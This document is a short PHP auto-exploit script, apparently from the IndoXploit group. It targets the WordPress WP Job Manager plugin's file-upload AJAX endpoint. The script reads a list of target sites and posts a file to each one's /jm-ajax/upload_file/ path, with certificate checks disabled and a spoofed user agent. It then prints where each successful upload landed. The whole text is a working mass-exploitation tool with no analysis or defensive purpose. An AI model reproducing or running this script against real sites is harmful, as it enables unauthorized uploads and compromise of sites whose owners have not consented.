Exploit wp-job-manager

<?php
# Tu5b0l3d - IndoXploit
# http://www.indoxploit.or.id/2017/06/auto-exploit-plugin-wp-job-manager.html


$nama = "target.html";
$buka=fopen("$nama","r");
$size=filesize("$nama");
$baca=fread($buka,$size);
$sites = explode("\r\n", $baca);
foreach($sites as $site){
    if(preg_match("#http://#", $site)) {
    $suu = $site;
 } else {
   $suu = "http://".$site;
 }
    echo "$suu ->";
    $file = "k.png";
    $site = "$suu/jm-ajax/upload_file/";
    $post = array(
                    "file" => "@$file",
                    );
$ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
        if (preg_match("/$file/i", $data6)){
            $save = "$suu/wp-content/uploads/job-manager-uploads/file/2017/06/$file";
                echo  " \n$save\n";

        }else{
                echo " \nNo\n"; }
    }


?>